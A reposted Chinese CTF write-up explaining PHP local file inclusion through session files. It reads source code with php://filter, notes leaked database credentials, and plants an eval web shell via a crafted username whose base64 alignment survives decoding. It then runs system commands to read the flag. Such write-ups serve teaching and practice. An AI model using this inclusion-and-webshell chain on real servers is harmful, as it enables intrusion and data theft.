CTF PHP文件包含--session

最新推荐文章于 2024-03-18 20:55:10 发布
最新推荐文章于 2024-03-18 20:55:10 发布
阅读量1.4k 收藏 4
点赞数 1
文章标签： php javascript 数据库 ViewUI
原文链接：http://www.cnblogs.com/Oran9e/p/8082962.html
版权

PHP文件包含 Session

首先了解一下PHP文件包含漏洞----包含session

利用条件：session文件路径已知，且其中内容部分可控。

姿势：

php的session文件的保存路径可以在phpinfo的session.save_path看到。

常见的php-session存放位置：

  1. /var/lib/php/sess_PHPSESSID
  2. /var/lib/php/sess_PHPSESSID
  3. /tmp/sess_PHPSESSID
  4. /tmp/sessions/sess_PHPSESSID

session 的文件名格式为 sess_[phpsessid]。而 phpsessid 在发送的请求的 cookie 字段中可以看到。

要包含并利用的话，需要能控制部分sesssion文件的内容。暂时没有通用的办法。有些时候，可以先包含进session文件，观察里面的内容，然后根据里面的字段来发现可控的变量，从而利用变量来写入payload，并之后再次包含从而执行php代码。

 

 

题目：

http://54.222.188.152:22589/

 

解题思路：

php伪协议读取源码

点击login，发现链接变为：

http://54.222.188.152:22589/index.php
?action=login.php

 

首先读取 login.php 的源码

http://54.222.188.152:22589/index.php
?action=php://filter/read=convert.base64-encode/resource=login.php

得到login.php源码：

<?php
    require_once('config.php');
    session_start();
    if($_SESSION['username']) {
        header('Location: index.php');
        exit;
    }
    if($_POST['username'] && $_POST['password']) {
        $username = $_POST['username'];
        $password = md5($_POST['password']);
        $mysqli = @new mysqli($dbhost, $dbuser, $dbpass, $dbname);
        if ($mysqli->connect_errno) {
            die("could not connect to the database:\n" . $mysqli->connect_error);
        }
        $sql = "select password from user where username=?";
        $stmt = $mysqli->prepare($sql);
        $stmt->bind_param("s", $username);
        $stmt->bind_result($res_password);
        $stmt->execute();
        $stmt->fetch();
        if ($res_password == $password) {
            $_SESSION['username'] = base64_encode($username);
            header("location:index.php");
        } else {
            die("Invalid user name or password");
        }
        $stmt->close();
        $mysqli->close();
    }
    else {
?>
<!DOCTYPE html>
<html>
<head>
   <title>Login</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script src="static/jquery.min.js"></script>
   <script src="static/bootstrap.min.js"></script>
</head>
<body>
    <div class="container" style="margin-top:100px">  
        <form action="login.php" method="post" class="well" style="width:220px;margin:0px auto;">
            <h3>Login</h3>
            <label>Username:</label>
            <input type="text" name="username" style="height:30px"class="span3"/>
            <label>Password:</label>
            <input type="password" name="password" style="height:30px" class="span3">
            <button type="submit" class="btn btn-primary">LOGIN</button>
        </form>
    </div>
</body>
</html>
<?php
    }
?>

 

读取 register.php 的源码

访问：

http://54.222.188.152:22589/index.php
?action=php://filter/read=convert.base64-encode/resource=register.php

得到源码：

<?php
if ($_POST['username'] && $_POST['password']) {
    require_once('config.php');
    $username = $_POST['username'];
    $password = md5($_POST['password']);
    $mysqli = @new mysqli($dbhost, $dbuser, $dbpass, $dbname);
    if ($mysqli->connect_errno) {
        die("could not connect to the database:\n" . $mysqli->connect_error);
    }
    $mysqli->set_charset("utf8");
    $sql = "select * from user where username=?";
    $stmt = $mysqli->prepare($sql);
    $stmt->bind_param("s", $username);
    $stmt->bind_result($res_id, $res_username, $res_password);
    $stmt->execute();
    $stmt->store_result();
    $count = $stmt->num_rows();
    if($count) {
        die('User name Already Exists');
    } else {
        $sql = "insert into user(username, password) values(?,?)";
        $stmt = $mysqli->prepare($sql);
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        echo 'Register OK!<a href="index.php">Please Login</a>';
    }
    $stmt->close();
    $mysqli->close();
} else {
?>
<!DOCTYPE html>
<html>
<head>
   <title>Login</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script src="static/jquery.min.js"></script>
   <script src="static/bootstrap.min.js"></script>
</head>
<body>
    <div class="container" style="margin-top:100px">  
        <form action="register.php" method="post" class="well" style="width:220px;margin:0px auto;">
            <h3>Register</h3>
            <label>Username:</label>
            <input type="text" name="username" style="height:30px"class="span3"/>
            <label>Password:</label>
            <input type="password" name="password" style="height:30px" class="span3">
            <button type="submit" class="btn btn-primary">REGISTER</button>
        </form>
    </div>
</body>
</html>
<?php
    }
?>

 

读取 config.php 的源码

http://54.222.188.152:22589/index.php
?action=php://filter/read=convert.base64-encode/resource=config.php

得到源码：

<?php
$dbhost = 'localhost';
$dbuser = 'web';
$dbpass = 'webpass123';
$dbname = 'web';
?>

 

读取 index.php 的源码

http://54.222.188.152:22589/index.php
?action=php://filter/read=convert.base64-encode/resource=index.php

源码：

<?php
error_reporting(0);
session_start();
if (isset($_GET['action'])) {
    include $_GET['action'];
    exit();
} else {
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <title>Login</title>
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link href="css/bootstrap.css" rel="stylesheet" media="screen">
    <link href="css/main.css" rel="stylesheet" media="screen">
</head>
<body>
<div class="container">
    <div class="form-signin">
        <?php if (isset($_SESSION['username'])) { ?>
            <?php echo "<div class=\"alert alert-success\">You have been <strong>successfully logged in</strong>.</div>
<a href=\"index.php?action=logout.php\" class=\"btn btn-default btn-lg btn-block\">Logout</a>";}else{ ?>
            <?php echo "<div class=\"alert alert-warning\">Please Login.</div>
<a href=\"index.php?action=login.php\" class=\"btn btn-default btn-lg btn-block\">Login</a>
<a href=\"index.php?action=register.php\" class=\"btn btn-default btn-lg btn-block\">Register</a>";
        } ?>
    </div>
</div>
</body>
</html>
<?php
}
?>

 

解题分析：

拿到了源码，首先进行简单的审计一下。

SQL注入？：

有登陆页面，不知道会不会有注入，简单看一下。

往往注册与登陆操作中会有与数据库交互的地方，这也是sql注入的常见引发点。

 

看一下register.php，这里仅截取部分代码：

# register.php
$mysqli->set_charset("utf8");
$sql = "select * from user where username=?";
$stmt = $mysqli->prepare($sql);
$stmt->bind_param("s", $username);
$stmt->bind_result($res_id, $res_username, $res_password);
$stmt->execute();
$stmt->store_result();

 

再看一下login.php：

# login.php
$sql = "select password from user where username=?";
$stmt = $mysqli->prepare($sql);
$stmt->bind_param("s", $username);
$stmt->bind_result($res_password);
$stmt->execute();
$stmt->fetch();

 

这里都使用了PHP的PDO处理，因此这里存在sql注入的可能性很小。

 

 

session

接着再看看，有哪些参数是可控的。

在login.php中：

# 第3行
session_start();
if($_SESSION['username']) {
    header('Location: index.php');
    exit;
}
# 第8行
if($_POST['username'] && $_POST['password']) {
    $username = $_POST['username'];
# 第20行
    $stmt->bind_result($res_password);
# 第24行
    if ($res_password == $password) {
        $_SESSION['username'] = base64_encode($username);
        header("location:index.php");

 

这里使用了session来保存用户会话，php手册中是这样描述的：

  1. PHP 会将会话中的数据设置到 $_SESSION 变量中。
  2. 当 PHP 停止的时候，它会自动读取 $_SESSION 中的内容，并将其进行序列化，然后发送给会话保存管理器来进行保存。
  3. 对于文件会话保存管理器，会将会话数据保存到配置项 session.save_path 所指定的位置。

考虑到变量$username是我们可控的，并且被设置到了$_SESSION中，因此我们输入的数据未经过滤的就被写入到了对应的sessioin文件中。结合前面的php文件包含，可以推测这里可以包含session文件。

 

要包含session文件，需要知道文件的路径。先注册一个用户，比如chybeta。等登陆成功后。记录下cookie中的PHPSESSID的值，这里为udu8pr09fjvabtoip8icgurt85

访问：

http://54.222.188.152:22589/index.php?action=/var/lib/php5/sess_udu8pr09fjvabtoip8icgurt85

这个/var/lib/php5/的session文件路径是测试出来的，常见的也就是上面所述的几种。

 

base64_encode

能包含，并且控制session文件，但要写入可用的payload，还需要绕过：

$_SESSION['username'] = base64_encode($username);

 

如前面所示，输入的用户名会被base64加密。如果直接用php伪协议来解密整个session文件，由于序列化的前缀，势必导致乱码。

考虑一下base64的编码过程。比如编码abc。

未编码: abc
转成ascii码： 97 98 99
转成对应二进制（三组，每组8位）： 01100001 01100010 01100011
重分组（四组，每组6位）： 011000 010110 001001 100011
每组高位补零，变为每组8位：00011000 00010110 00001001 00100011
每组对应转为十进制： 24 22 9 35
查表得： Y W J j

 

考虑一下session的前缀：username|s:12:"，中间的数字12表示后面base64串的长度。当base64串的长度小于100时，前缀的长度固定为15个字符，当base64串的长度大于100小于1000时，前缀的长度固定为16个字符。

由于16个字符，恰好满足一下条件：

16个字符 => 16 * 6 = 96 位 => 96 mod 8 = 0

也就是说，当对session文件进行base64解密时，前16个字符固然被解密为乱码，但不会再影响从第17个字符后的部分也就是base64加密后的username。

 

Getflag

注册一个账号，比如：

chybetachybetachybetachybetachybetachybetachybetachybetachybeta<?php eval($_GET['atebyhc']) ?>

其base64加密后的长度为128，大于100。

http://54.222.188.152:22589/index.php
?action=php://filter/read=convert.base64-decode/resource=/var/lib/php5/sess_udu8pr09fjvabtoip8icgurt85
&atebyhc=phpinfo();

 


成功getshell。

访问：

http://54.222.188.152:22589/index.php?action=php://filter/read=convert.base64-decode/resource=/var/lib/php5/sess_udu8pr09fjvabtoip8icgurt85&atebyhc=system('ls /');

访问:

http://54.222.188.152:22589/index.php?action=php://filter/read=convert.base64-decode/resource=/var/lib/php5/sess_udu8pr09fjvabtoip8icgurt85&atebyhc=system('cat /fffflllllaaaagggg.txt');

 

 

小结

考了几个知识点：

  1. php文件包含：伪协议利用
  2. php文件包含：包含session文件
  3. php-session知识及序列化格式
  4. base64的基本原理

 

原文链接（https://chybeta.github.io/2017/11/09/%E4%B8%80%E9%81%93CTF%E9%A2%98%EF%BC%9APHP%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/）

任重而道远！

转载于:https://www.cnblogs.com/Oran9e/p/8082962.html

weixin_30613727
关注
  • 1
    点赞
  • 踩
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
ctf-2017-release:BSidesSF CTF 2017版本
05-28
ctf-2017 2017 BSidesSF CTF面临的挑战 内置的 ， ， ， ， 在本地应对挑战 您可以使用docker在本地运行所有挑战。 docker-compose build && docker-compose up -d 挑战将在http://localhost:PORT提供，基于...
php文件包含session,CTF PHP文件包含--session
weixin_39522423的博客
04-12 796
PHP文件包含 Session首先了解一下PHP文件包含漏洞----包含session利用条件：session文件路径已知，且其中内容部分可控。姿势：php的session文件的保存路径可以在phpinfo的session.save_path看到。 常见的php-session存放位置：/var/lib/php/sess_PHPSESSID/var/lib/php/sess_PHPSESSID/t...
php文件包含session,session文件包含漏洞复现
weixin_34036075的博客
04-12 753
一、环境搭建文件包含漏洞测试代码 file.phpsession内容可控测试代码 session.php二、利用条件1、session存储位置可以获取可以通过phpinfo查看也可以通过猜测，例如linux默认存储在/var/lib/php/session目录下2、session可控当session可控时，就可以传入恶意代码3、知道session文件名session文件名的构造是sess_ ...
文件包含漏洞之包含SESSION（CTF题目）
最新发布
m0_70349048的博客
03-18 597
文件包含漏洞之包含session
CTF从入门到提升（十三）文件包含session及例题详解
anquanniu的博客
09-12 2703
具体场景——session 我们可以查一下手册，看看这个参数是默认开启： 举栗子 ​ 通过上传一个orange作为key传一个值传给这个变量，放到file函数中，再去比对file函数读取结果文件中的第一行0前面六个字符串是否匹配，如果是orange就会作为包含，否则就会显示源代码。 这道题的难点在于包含一个文件要控制里面的内容，file函数的作用是把一个整一个文件读到一个数据中去，file...
CTFweb篇-Session包含
weixin_44597701的博客
08-07 3738
什么是Session Session就是保存在服务器的文本文件。 默认情况下，PHP.ini 中设置的 SESSION 保存方式是 files（session.save_handler = files），即使用读写文件的方式保存 SESSION 数据，而 SESSION 文件保存的目录由 session.save_path 指定，文件名以 sess_ 为前缀，后跟 SESSION ID，如：sess_c72665af28a8b14c0fe11afe3b59b51b。文件中的数据即是序列化之后的 SESSIO
Session文件包含
一只web狗
06-23 3392
session文件包含介绍
CTF-misc工具2-CTF-Tools-masterV1.3.7
08-17
该工具主要适用于参加CTF竞赛的选手,以及对密码编码算法感兴趣的信息安全从业人员。 使用场景: 在CTF竞赛中,可利用该工具自动识别编码类型并解码,快速解决misc类别的密码题目。 其他说明: 该工具具备智能判断密码...
ctf-tools-linux-master.zip
06-22
ctf集成工具包-linux版
CTF-All-In-One 20171015
10-15
CTF-All-In-One 20171015 CTF-All-In-One 20171015 一本 CTF 领域的大杂烩指南
flask-session-cookie-manager-master.zip
09-05
CTFsession伪造脚本，有解密和加密的，一定要有私钥才能进行。
【网络安全】文件包含漏洞--使用session进行文件包含
你在看屏幕的同时，屏幕也在注视着你
09-04 1273
使用session进行文件包含
CTF中文件包含漏洞总结
热门推荐
Lethe's Blog
02-13 4万+
CTF中文件包含漏洞总结 0x01 什么是文件包含漏洞 通过PHP函数引入文件时，传入的文件名没有经过合理的验证，从而操作了预想之外的文件，就可能导致意外的文件泄漏甚至恶意代码注入。 0x02 文件包含漏洞的环境要求 allow_url_fopen=On(默认为On) 规定是否允许从远程服务器或者网站检索数据 allow_url_include=On(php5.2之后默认为Off) 规定是否...
CTFweb篇-反序列化和SESSION(一)
weixin_44597701的博客
08-09 1027
前面讲到过一点SESSION，这里要继续说一点 SESSION的几种形式 这里是binary session的形成方法可以在php.ini中设置。默认是php（可能是php_serialize) 例子： php形式： php_serialize形式: php_binary: ini_set() ini_set ( string $varname , string $newvalue ) 在配置文件中设置配置的值 ini_set('session.serialize_handles','php')
php文件包含读源码,CTF PHP文件包含--session
weixin_30045711的博客
03-12 626
PHP文件包含 Session首先了解一下PHP文件包含漏洞----包含session利用条件：session文件路径已知，且其中内容部分可控。姿势：php的session文件的保存路径可以在phpinfo的session.save_path看到。常见的php-session存放位置：/var/lib/php/sess_PHPSESSID/var/lib/php/sess_PHPSESSID/tm...
php 命令执行中 PHPSESSID 妙用
y0un9er
10-02 7691
之前刷CTF的时候，遇到一个命令执行的题，看大佬的WP是通过PHPSESSID传值，绕过waf，最近有时间复现了一下。
ctfshow web11详解，小白补充session和PHPSESSID相关知识
weixin_73562787的博客
07-30 265
当用户访问php网址时，服务器会将生成的PHPSESSID值发送给用户的浏览器，并保存在名为PHPSESSID的cookie中，浏览器在随后的请求中会自动将这个cookie发送回服务器，这样，服务器可以通过这个唯一的标识符识别用户，并获取与用户关联的会话数据。PHPSESSID cookie的值是随机生成的，并且大部分情况下是基于用户的会话信息和一些其他参数生成的哈希值，这样做是为了确保PHPSESSID的唯一性和安全性，以防会话劫持和其他安全漏洞。的，通常以文件或数据库的形式保存。
buuctf刷题 3(1个sstl模板注入 1个session伪造 以及php)
weixin_63231007的博客
05-03 678
[护网杯 2018]easy_tornado 1 访问页面所给的可以得到 /flag.txt flag in /fllllllllllllag 可知flag在/fllllllllllllag。 /welcome.txt render /hints.txt md5(cookie_secret+md5(filename)) render不知道是上面意思。看别人题解说：结合题目给的tornado，可以想到SSTI。 render()函数是渲染函数，进行服务器端渲染。所以能想到模板注入 [护网..
CTF-Web20（涉及简单的cookie与session）
→_→
09-21 4627
20.Guess Next Session 分析： 观察代码，在代码中并没有什么函数，关键就在于：password = $_session['password']。 问题到了这一步，让我们把这放下，先来分析一下PHP中的Session和Cookie。 Cookie与 Session，一般都会认为这是两个独立完全不同的东西，Session采用的是在服务器端保持状态的方案，而Cookie采用的是在客户端保持状态的方案。在PHP配置中的默认情况下，Session是用Session ID来确.
ctfhub 文件上传 - 00截断
06-28
### 回答1： ctfhub 文件上传 - 00截断是一种常见的安全漏洞，攻击者可以通过截断文件名或者文件内容来绕过文件上传的限制，从而上传恶意文件或者执行任意代码。这种漏洞需要开发人员在编写文件上传功能时注意对文件名和内容进行严格的校验和过滤，以防止攻击者利用截断漏洞进行攻击。同时，用户也应该注意不要上传可疑的文件或者访问不可信的网站，以保护自己的计算机安全。 ### 回答2： 文件上传漏洞是目前很多Web应用存在的一种常见漏洞，该漏洞的攻击者可以利用该漏洞从Web应用程序中上传恶意文件，绕过访问控制机制，并在受害者服务器上执行任意命令。 在CTFHub文件上传-00截断中，漏洞原理是：在上传文件时，上传文件的后缀名是通过从客户端请求中获取的，如果在获取后缀名的过程中，我们可以通过攻击来修改请求，就可以上传任意类型的文件，甚至是可执行文件，从而达到绕过文件类型的限制。 具体细节如下： 1. 开始上传文件，上传的文件后缀名为.php 2. 修改上传请求中的文件后缀名为.gif，并截断请求，使之只保留文件的前8个字节。 3. 上传的文件类型变为gif，并成功上传。 4. 由于文件类型被篡改，服务器未检测到有可执行文件被上传，因此上传成功。 5. 资产管理窗口中能够看到已上传的文件，并能够通过访问路径访问到上传的文件，例如，可以直接访问上传的可执行文件，从而达到绕过文件类型限制，执行任意命令的目的。 由此可见，文件上传漏洞是一种危害性较高的漏洞，因此开发人员在开发Web应用程序时，一定要认真检查，确保不会出现类似的漏洞现象。同时，在测试人员测试网站时，也应该重点检查文件上传功能，以确保网站的安全性和可靠性。 ### 回答3： ctfhub 文件上传 - 00截断是一种常见的文件上传漏洞攻击，攻击者利用该漏洞可以上传恶意文件并将其存储到服务器中，从而导致服务器被攻击。 文件上传 - 00截断漏洞主要是利用了一些文件上传的不足之处，攻击者可以通过伪造请求包来修改原始文件名，从而实现文件截断的目的，也就是只保留了原始文件名的部分内容而去掉了后面的内容。 当攻击者上传文件时，如果原始文件名过长，则服务器会自动截断文件名，一旦攻击者将文件名截断并发送一个伪造的请求包到服务器上，则服务器会根据该请求包上传一个被截断的文件，从而导致服务器受到攻击。 例如，攻击者可以将文件名设置为“hack.php\x00.jpg”，当该文件上传到服务器上时，服务器会将文件名截断为“hack.php”，从而隐藏了文件的真实后缀名，诱骗用户下载并执行该文件。 为了避免被此类文件上传漏洞攻击，开发人员应该加强字符串截断的限制，防止非法输入，并进行文件类型检测，只允许上传指定的文件类型，同时加密重要文件和数据，保护系统安全。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值